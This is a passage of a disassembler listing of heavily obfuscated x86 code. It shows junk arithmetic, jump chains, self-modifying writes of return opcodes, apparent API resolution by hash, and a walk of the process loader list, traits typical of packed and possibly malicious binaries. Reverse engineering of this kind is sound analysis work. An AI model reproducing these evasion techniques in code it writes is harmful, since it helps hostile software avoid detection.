; ---------------------------------------------------------------------------
		mov	[ebx], ecx
		add	edi, 0E4FDB306h
		jmp	sub_74ED53
; ---------------------------------------------------------------------------
		add	edx, 0F7D32CA2h
		and	edi, edx
		jmp	sub_753538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_754449:				; CODE XREF: sub_74AE46:loc_749EFDj
		mov	ebp, esi
		xchg	ebp, [esp-4+arg_0]
		push	50BDA3A5h
		pop	esi
		sub	esi, 5FA77E11h
		cmp	esi, 0CE509CEBh
		jmp	loc_745077
; ---------------------------------------------------------------------------


loc_754465:				; CODE XREF: sub_74AE46:loc_756226j
		pop	ecx
		sub	ecx, 0B26C50A1h
		test	ecx, 10000h
		jmp	loc_74BAF0
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508E6


loc_754477:				; CODE XREF: sub_7508E6+Ej
		mov	eax, 0C2A99E24h
		call	sub_746E93
		mov	ds:off_41F0C8, eax
		lea	eax, sub_74624E
		mov	byte ptr [eax],	0C3h
		jmp	sub_74624E
; END OF FUNCTION CHUNK	FOR sub_7508E6
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, edx
		jmp	loc_74648D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757799


loc_75449D:				; CODE XREF: sub_757799+Dj
		jz	loc_7455CD
		jmp	loc_74685E
; END OF FUNCTION CHUNK	FOR sub_757799
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A63F


loc_7544A8:				; CODE XREF: sub_74A63F:loc_74BD21j
		mov	[ebx], eax
		pop	ebx
		push	offset sub_74B279
		jmp	loc_74DA43
; END OF FUNCTION CHUNK	FOR sub_74A63F
; ---------------------------------------------------------------------------
		mov	eax, 0F75CA70h
		push	esi
		push	0DDCFE188h
		pop	esi
		and	esi, 0C72FA072h
		xor	esi, 22837B0Dh
		add	esi, 18E780B0h


loc_7544D3:				; CODE XREF: _0z4jwtox:loc_746761j
		jmp	loc_749C48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_7544D8:				; CODE XREF: sub_7561AB-72D4j
		jns	loc_751ECF
; END OF FUNCTION CHUNK	FOR sub_7561AB
; START	OF FUNCTION CHUNK FOR sub_74742A


loc_7544DE:				; CODE XREF: sub_7561AB:loc_74D9C5j
					; sub_74742A:loc_756EABj
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-28h]
		call	sub_748BBE
; END OF FUNCTION CHUNK	FOR sub_74742A
; START	OF FUNCTION CHUNK FOR sub_74BDFA


loc_7544EC:				; CODE XREF: sub_74BDFA+9j
		jmp	loc_745168
; END OF FUNCTION CHUNK	FOR sub_74BDFA

; =============== S U B	R O U T	I N E =======================================



sub_7544F1	proc near		; DATA XREF: sub_756496:loc_754317o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00746C30 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074789B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0074D139 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074D5BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E48F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00752126 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00753BEA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0075632D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007566D4 SIZE 00000012 BYTES

		or	eax, eax
		jnz	loc_74AF08
		jmp	loc_75632D
sub_7544F1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_7544FE:				; CODE XREF: sub_746640+55FEj
		add	edx, 11EFA685h
		add	edx, ebp
		add	edx, 29150DB4h
		push	offset loc_7577EF
		jmp	nullsub_128
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------


loc_754516:				; CODE XREF: _0z4jwtox:00747FFDj
		jo	loc_75080C

; =============== S U B	R O U T	I N E =======================================



sub_75451C	proc near		; CODE XREF: sub_74624E+45B4p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	edx, [esp-4+arg_0]
		jmp	sub_745715
sub_75451C	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_754529:				; CODE XREF: _0z4jwtox:0074DEA2j
					; sub_747C39+BF55j
		jmp	loc_7464F5
; END OF FUNCTION CHUNK	FOR sub_747C39

; =============== S U B	R O U T	I N E =======================================



sub_75452E	proc near		; DATA XREF: _0z4jwtox:loc_74C252o
		lea	eax, nullsub_276
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_276
sub_75452E	endp

; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		jmp	loc_749AD1
; ---------------------------------------------------------------------------

locret_754547:				; CODE XREF: _0z4jwtox:0075048Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750291


loc_754548:				; CODE XREF: sub_750291:loc_75742Dj
					; _0z4jwtox:00757444j
		or	eax, 5725D45Fh
		sub	eax, 5D80CF7Ah
		and	eax, 4364596h
		push	offset loc_74BB58
		jmp	loc_748E05
; END OF FUNCTION CHUNK	FOR sub_750291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7562D5


loc_754564:				; CODE XREF: sub_7562D5-43DBj
		rol	edx, 1Fh
		call	sub_753538
; END OF FUNCTION CHUNK	FOR sub_7562D5
; START	OF FUNCTION CHUNK FOR sub_7535F0


loc_75456C:				; CODE XREF: sub_7535F0+2B56j
		jmp	loc_752669
; END OF FUNCTION CHUNK	FOR sub_7535F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745183


loc_754571:				; CODE XREF: sub_745183+A7B3j
		jmp	sub_75375E
; END OF FUNCTION CHUNK	FOR sub_745183
; ---------------------------------------------------------------------------


loc_754576:				; DATA XREF: _0z4jwtox:0074A6F3o
		xchg	eax, [esp]
		push	15951E9Ch
		pop	ebx
		sub	ebx, 8CD748B3h
		add	ebx, 77B705C7h
		xchg	ebx, [esp]
		jmp	loc_753AB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7554BB


loc_754593:				; CODE XREF: sub_7554BB+1Ej
		jo	loc_74A60D
		and	edx, 0DDE7A0Ch
		sub	edi, 946A53AFh


loc_7545A5:				; CODE XREF: sub_7554BB+12j
		sub	ecx, 0A30B9856h
		and	ecx, 2E3400F7h
		jmp	loc_7551CE
; END OF FUNCTION CHUNK	FOR sub_7554BB
; ---------------------------------------------------------------------------
		push	ebx
		push	504A75EBh
		call	sub_74F7C0
; START	OF FUNCTION CHUNK FOR sub_74A4B0


loc_7545C1:				; CODE XREF: sub_74A4B0-3F8j
		jmp	loc_75014D
; END OF FUNCTION CHUNK	FOR sub_74A4B0

; =============== S U B	R O U T	I N E =======================================



sub_7545C6	proc near		; DATA XREF: sub_746556+Do

; FUNCTION CHUNK AT 00748933 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00752440 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075345B SIZE 00000005 BYTES

		xor	eax, 18990384h
		sub	eax, 4B24A958h
		ror	eax, 13h
		xor	eax, 0DB893C7Eh
		jmp	loc_75345B
sub_7545C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_7545E0	proc near		; DATA XREF: sub_757671+7o

; FUNCTION CHUNK AT 0074F50E SIZE 00000014 BYTES

		push	170B442h
		pop	esi
		sub	esi, 68B000CEh
		and	esi, 5BE25192h
		xor	esi, 157575CBh
		jmp	loc_74F50E
sub_7545E0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DBEB


loc_7545FE:				; CODE XREF: sub_74DBEB+6j
		jmp	loc_754A78
; END OF FUNCTION CHUNK	FOR sub_74DBEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DBDF


loc_754603:				; CODE XREF: sub_74DBDF+7j
		jmp	nullsub_207
; END OF FUNCTION CHUNK	FOR sub_74DBDF
; ---------------------------------------------------------------------------
		jmp	ds:off_41F0A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_75460E:				; CODE XREF: sub_74AAC1+7BFEj
		jmp	loc_750317
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_754613:				; CODE XREF: sub_74B1F1+3j
		jmp	loc_74705B
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B079


loc_754618:				; CODE XREF: sub_74B079+17D7j
					; _0z4jwtox:loc_74E846j ...
		pop	edx
		jz	loc_754DFC
		mov	eax, [esp+0]
		push	edi
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		jmp	loc_74B585
; END OF FUNCTION CHUNK	FOR sub_74B079
; ---------------------------------------------------------------------------


loc_75462D:				; CODE XREF: _0z4jwtox:0074EBC9j
		not	ebx
		add	edx, ebx
		ja	loc_74E4D6
		cdq
; START	OF FUNCTION CHUNK FOR sub_749608


loc_754638:				; CODE XREF: sub_749608:loc_74EBBBj
		xor	esi, 0A3B59BAEh
		jmp	loc_75073B
; END OF FUNCTION CHUNK	FOR sub_749608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_754643:				; CODE XREF: sub_7474B9+D72Aj
		jz	loc_74F6F3
		jmp	loc_755764
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------


loc_75464E:				; CODE XREF: _0z4jwtox:0075319Aj
		push	1757AABAh


loc_754653:				; CODE XREF: _0z4jwtox:loc_75392Dj
		push	ebx
		push	461A0F05h
		pop	ebx
		and	ebx, 33783BEEh
		or	ebx, 0A238BBAh
		sub	ebx, 5D3D27B8h
		xor	ebx, 2596D7BAh
		jmp	loc_749DCD
; ---------------------------------------------------------------------------


loc_754677:				; CODE XREF: _0z4jwtox:007475B8j
		jp	loc_7577A0
		mov	ecx, eax
; START	OF FUNCTION CHUNK FOR sub_749EC9


loc_75467F:				; CODE XREF: sub_749EC9:loc_7475A7j
		xor	esi, 5727667h
		add	esi, 706EB8B2h
		jmp	loc_74C137
; END OF FUNCTION CHUNK	FOR sub_749EC9
; ---------------------------------------------------------------------------


loc_754690:				; CODE XREF: _0z4jwtox:007532E7j
		xor	edx, 9F8324E2h
		add	edx, ebp
		add	edx, 6A4C5B4Dh
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_7564BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_7546A9:				; CODE XREF: sub_748DCB+7BBDj
		jl	loc_756570


loc_7546AF:				; CODE XREF: _0z4jwtox:0074DD44j
		jmp	nullsub_222
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------


loc_7546B4:				; CODE XREF: _0z4jwtox:0074CCCBj
		jmp	locret_746D5E
; ---------------------------------------------------------------------------


loc_7546B9:				; CODE XREF: _0z4jwtox:00749BD8j
		jmp	loc_74820B
; ---------------------------------------------------------------------------
		shl	ebx, 0Fh
		jl	loc_74B213
		shl	ecx, 0Eh
		xchg	edi, [ecx]
		jmp	loc_756570
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7513E4


loc_7546D1:				; CODE XREF: sub_7513E4:loc_747842j
		mov	edx, [esp+0]
		push	eax
		mov	eax, edx
		push	ebx
		push	36998BBCh
		pop	ebx
		xor	ebx, 0BC2A91DAh
		jmp	loc_75475F
; END OF FUNCTION CHUNK	FOR sub_7513E4
; ---------------------------------------------------------------------------


loc_7546E9:				; CODE XREF: _0z4jwtox:007535CBj
		push	offset sub_755A00
		jmp	locret_74E5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_7546F3:				; CODE XREF: sub_7572F3-D5C3j
		jnz	loc_756145
		jmp	loc_74693A
; END OF FUNCTION CHUNK	FOR sub_7572F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_7546FE:				; CODE XREF: sub_747C39:loc_746B3Dj
		push	5373719Ch
		pop	edx
		xor	edx, 52545C7Ah
		sub	edx, 7EABCD8Ch
		xor	edx, 78A83177h
		add	edx, 8CA4739Eh
		jmp	loc_74863C
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754729


loc_754721:				; CODE XREF: sub_754729:loc_74FA5Bj
		pop	ecx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_754729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749184


loc_754724:				; CODE XREF: sub_749184-23D0j
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_749184

; =============== S U B	R O U T	I N E =======================================



sub_754729	proc near		; CODE XREF: sub_746BBA+2p

; FUNCTION CHUNK AT 00745A42 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0074803F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007495F0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0074B8BB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074FA5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075237C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00752D7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754721 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00754B5C SIZE 0000001A BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	sub_74B822
		jmp	loc_74803F
sub_754729	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DE6C


loc_754741:				; CODE XREF: sub_74DE6C:loc_748842j
		jge	loc_745ABE
; END OF FUNCTION CHUNK	FOR sub_74DE6C
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_754747:				; CODE XREF: sub_752D11-63E2j
		jmp	loc_7529FB
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C9CF


loc_75474C:				; CODE XREF: sub_74C9CF-1BA3j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74C9CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_754751:				; CODE XREF: sub_75143A-8693j
		jmp	nullsub_266
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------
		pushf
		rol	esi, 0Fh


loc_75475A:				; CODE XREF: _0z4jwtox:0075108Cj
		jmp	loc_745AB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7513E4


loc_75475F:				; CODE XREF: sub_7513E4+3300j
		jnz	loc_752DC0
		and	edx, 0B92454A0h
		sub	edi, ebx
		xchg	edi, [edx]
		push	0E55922E8h
		jmp	loc_752DC0
; END OF FUNCTION CHUNK	FOR sub_7513E4

; =============== S U B	R O U T	I N E =======================================



sub_754779	proc near		; CODE XREF: _0z4jwtox:007506DDj
					; _0z4jwtox:00753BB5p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074595F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	eax, [esp-4+arg_0]
		jmp	loc_74595F
sub_754779	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 6960D331h
		call	sub_746E93
		push	esi
		mov	esi, ebx
		xchg	esi, [esp]
		push	8601CBCEh
		jmp	loc_74D6B2

; =============== S U B	R O U T	I N E =======================================



sub_75479F	proc near		; DATA XREF: sub_74ACFAo

; FUNCTION CHUNK AT 00756D84 SIZE 00000005 BYTES

		push	ebx
		push	ecx
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]
		jmp	loc_756D84
sub_75479F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7547B4:				; CODE XREF: _0z4jwtox:0074B6B4j
		jmp	loc_74F85F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_7547BA	proc near		; CODE XREF: _0z4jwtox:00756801j
					; DATA XREF: sub_747736:loc_7567F7o
		ror	eax, 17h
		mov	edx, [esp+0]
		push	eax
		push	offset loc_752931
		jmp	nullsub_203
sub_7547BA	endp

; ---------------------------------------------------------------------------


loc_7547CB:				; CODE XREF: _0z4jwtox:loc_748BB3j
		pop	edx
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		jmp	loc_75286B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_7547D7:				; CODE XREF: sub_75275A:loc_756D12j
		sbb	ebx, 7B603BA5h
		pushf
		jmp	loc_74D5E8
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_7547E3:				; CODE XREF: sub_74C670+1B4j
		js	loc_745064


loc_7547E9:				; CODE XREF: sub_74FE55:loc_753F45j
		push	0BE8431ABh
		pop	eax
		or	eax, 0FA7B08DCh
		xor	eax, 0A8A129Ch
		jmp	loc_74FA46
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747546


loc_754800:				; CODE XREF: sub_747546:loc_74A4C4j
		call	sub_753C2A


loc_754805:				; CODE XREF: sub_74DE6C-839Cj
		jmp	loc_7540E3
; END OF FUNCTION CHUNK	FOR sub_747546
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_75480B:				; CODE XREF: sub_74673E+EC9Aj
		jmp	loc_750730
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75216C


loc_754810:				; CODE XREF: sub_75216C+7j
		jmp	nullsub_287
; END OF FUNCTION CHUNK	FOR sub_75216C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748574


loc_754816:				; CODE XREF: sub_748574+12j
		jmp	loc_746CDD
; END OF FUNCTION CHUNK	FOR sub_748574

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_75481B	proc near		; CODE XREF: sub_746E37+4p
					; sub_7514BF-680Ap

; FUNCTION CHUNK AT 00750224 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	offset sub_74AD56
		jmp	loc_750224
sub_75481B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755E40


loc_754828:				; CODE XREF: sub_755E40:loc_755E4Bj
		mov	esi, [ebp+0]
		add	ecx, 7A6BB979h
		jns	loc_748788
		jmp	loc_74EA7F
; END OF FUNCTION CHUNK	FOR sub_755E40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B76


loc_75483C:				; CODE XREF: sub_747B76:loc_750AB9j
		xchg	eax, [esp+4+var_4]
		nop
		mov	eax, 23829242h
		call	sub_746E93
		mov	ds:off_41F130, eax
		jmp	loc_7548BA
; END OF FUNCTION CHUNK	FOR sub_747B76
; ---------------------------------------------------------------------------


loc_754855:				; CODE XREF: _0z4jwtox:0074B564j
		jnz	loc_747F3F
		mov	[ebp+0], ebx
		jmp	loc_74864B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_754863:				; CODE XREF: sub_74A96E+6CFj
		jge	loc_7462EA
		shl	ecx, 0Dh
		sub	ebp, edi


loc_75486E:				; CODE XREF: _0z4jwtox:0074D022j
		jmp	loc_7462DE
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------


loc_754873:				; CODE XREF: _0z4jwtox:0075746Bj
		ja	loc_74B7A1
		xchg	eax, [edi]
		jmp	loc_7451AF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_754881:				; CODE XREF: sub_746640+6BF9j
		jmp	sub_755148
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CEEF


loc_754886:				; CODE XREF: sub_74CEEF+18j
		jmp	nullsub_279
; END OF FUNCTION CHUNK	FOR sub_74CEEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756834


loc_75488B:				; CODE XREF: sub_756834-E7DCj
		jmp	sub_749161
; END OF FUNCTION CHUNK	FOR sub_756834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462FD


loc_754890:				; CODE XREF: sub_7462FD+1Cj
		jmp	loc_75438C
; END OF FUNCTION CHUNK	FOR sub_7462FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A250


loc_754895:				; CODE XREF: sub_74A250:loc_74544Dj
		xchg	edi, [esp+4+var_4]
		jmp	loc_7459B7
; END OF FUNCTION CHUNK	FOR sub_74A250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_75489D:				; CODE XREF: sub_74A3AB+1C30j
		xchg	ecx, ebp
		add	ecx, eax


loc_7548A1:				; CODE XREF: sub_74A3AB:loc_74BFC7j
		and	edx, 29EEA72Dh
		xor	edx, 4B104D56h
		add	edx, ebp
		add	edx, 0BC6B3381h
		call	sub_74658B


loc_7548BA:				; CODE XREF: sub_747B76+CCDAj
		jmp	loc_74E51F
; END OF FUNCTION CHUNK	FOR sub_74A3AB
; ---------------------------------------------------------------------------


loc_7548BF:				; CODE XREF: _0z4jwtox:0074C8AEj
		jmp	loc_750D11
; ---------------------------------------------------------------------------


loc_7548C4:				; DATA XREF: sub_74C0A0+458Do
		mov	al, [eax]
		jnb	loc_74992F
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_74F2FD
		jmp	loc_753642
; ---------------------------------------------------------------------------


loc_7548E0:				; CODE XREF: _0z4jwtox:00750FF1j
		jns	loc_756C94
		mov	[esi], ebx
		jmp	sub_748E68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DFF3


loc_7548ED:				; CODE XREF: sub_74DFF3:loc_756045j
		add	eax, 107D4AFDh
		xchg	eax, [esp+0]
		jmp	sub_753D0E
; END OF FUNCTION CHUNK	FOR sub_74DFF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_7548FB:				; CODE XREF: sub_747736:loc_74F477j
		jnz	loc_74B731
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_74B719


loc_754911:				; CODE XREF: sub_7572F3-109B3j
		jnz	loc_74F162
		test	eax, ebp
		jmp	loc_753AEA
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------


loc_75491E:				; CODE XREF: _0z4jwtox:loc_74EDD7j
		adc	ecx, ebx
		jbe	loc_74D2C4
		jmp	loc_74EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75547D


loc_75492B:				; CODE XREF: sub_75547D-5286j
		jl	loc_746350
; END OF FUNCTION CHUNK	FOR sub_75547D
; START	OF FUNCTION CHUNK FOR sub_752C44


loc_754931:				; CODE XREF: sub_752C44-5A0j
		jmp	loc_750F01
; END OF FUNCTION CHUNK	FOR sub_752C44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_754936:				; CODE XREF: sub_754DFF-3C4Dj
		jmp	loc_749E8E
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_75493B:				; CODE XREF: sub_7541BA-5877j
		jmp	loc_7491B7
; END OF FUNCTION CHUNK	FOR sub_7541BA
; ---------------------------------------------------------------------------
		xchg	edi, [ebp+0]
		cdq
		jmp	loc_746345

; =============== S U B	R O U T	I N E =======================================



sub_754949	proc near		; CODE XREF: _0z4jwtox:007484CAp
					; _0z4jwtox:0074A36Dj

; FUNCTION CHUNK AT 0074FDAF SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		call	sub_746CF0
		jmp	loc_74FDAF
sub_754949	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747622


loc_754958:				; CODE XREF: sub_747622:loc_752A30j
		add	eax, ecx
		pop	ecx
		call	sub_74DC58
; END OF FUNCTION CHUNK	FOR sub_747622
; START	OF FUNCTION CHUNK FOR sub_748BB8


loc_754960:				; CODE XREF: sub_748BB8+A75Bj
		jmp	sub_750C4E
; END OF FUNCTION CHUNK	FOR sub_748BB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_754965:				; CODE XREF: sub_74C0A0-53E2j
		jmp	sub_7451D9
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7497F9


loc_75496A:				; CODE XREF: sub_7497F9-2F0Cj
		jmp	loc_74A58A
; END OF FUNCTION CHUNK	FOR sub_7497F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_75496F:				; CODE XREF: sub_752520:loc_74D18Aj
		cmp	byte ptr [eax],	0F1h
		jnz	loc_747300
		jmp	loc_74FE00
; END OF FUNCTION CHUNK	FOR sub_752520

; =============== S U B	R O U T	I N E =======================================



sub_75497D	proc near		; DATA XREF: _0z4jwtox:00745AABo

; FUNCTION CHUNK AT 00748941 SIZE 00000005 BYTES

		lea	eax, loc_74DDA5
		mov	byte ptr [eax],	0C3h
		jmp	loc_748941
sub_75497D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_75498B:				; CODE XREF: sub_7474B9:loc_74DDA5j
		xchg	ebp, [esp+8+var_8]
		mov	edx, ebp
		pop	ebp
		call	sub_7474B9


loc_754996:				; CODE XREF: _0z4jwtox:loc_7573ACj
		pop	eax
		mov	eax, [esp+0]
		call	sub_755B22


loc_75499F:				; CODE XREF: _0z4jwtox:00752B75j
		jmp	loc_74F2CD
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
		shr	ebx, 0Dh
		jmp	sub_74DBDF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7549AD:				; CODE XREF: _0z4jwtox:0074A302j
		jmp	loc_750058
; ---------------------------------------------------------------------------
		popf
		jmp	sub_748BBE
; ---------------------------------------------------------------------------
		cmp	edx, 0FEB8DA71h
		jmp	loc_750109
; ---------------------------------------------------------------------------
		and	esi, 5C4A0631h
		jmp	sub_745697
; ---------------------------------------------------------------------------


loc_7549CE:				; CODE XREF: _0z4jwtox:00752545j
		mov	byte ptr [eax],	0C3h
		jmp	loc_751388
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_7549D6:				; CODE XREF: sub_746E37:loc_751388j
		pop	edx
		mov	eax, [esp-14h+arg_10]
		push	edx


loc_7549DB:				; CODE XREF: sub_746E37:loc_7527D3j
		call	sub_75364C


loc_7549E0:				; CODE XREF: _0z4jwtox:007555BCj
		push	162A00F7h
		jmp	loc_750FB2
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752EB8


loc_7549EA:				; CODE XREF: sub_752EB8+16j
		rol	edx, 3
		or	edx, 0E731A670h
		add	edx, 843039h
		mov	[edx], eax
		jmp	loc_746BCB
; END OF FUNCTION CHUNK	FOR sub_752EB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752957


loc_754A00:				; CODE XREF: sub_752957-72E7j
		jz	loc_7505F5


loc_754A06:				; CODE XREF: _0z4jwtox:0074CC75j
		jmp	sub_745715
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
		test	eax, 2EABC6C1h
		jmp	loc_750275
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_754A16:				; CODE XREF: sub_745A78+D917j
		add	esi, ebp
		xor	ecx, eax


loc_754A1A:				; CODE XREF: sub_745A78:loc_74950Ej
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_756823
		jmp	loc_746969
; END OF FUNCTION CHUNK	FOR sub_745A78

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_754A2B	proc near		; DATA XREF: sub_74985C:loc_745F4Fo
		jmp	loc_757687
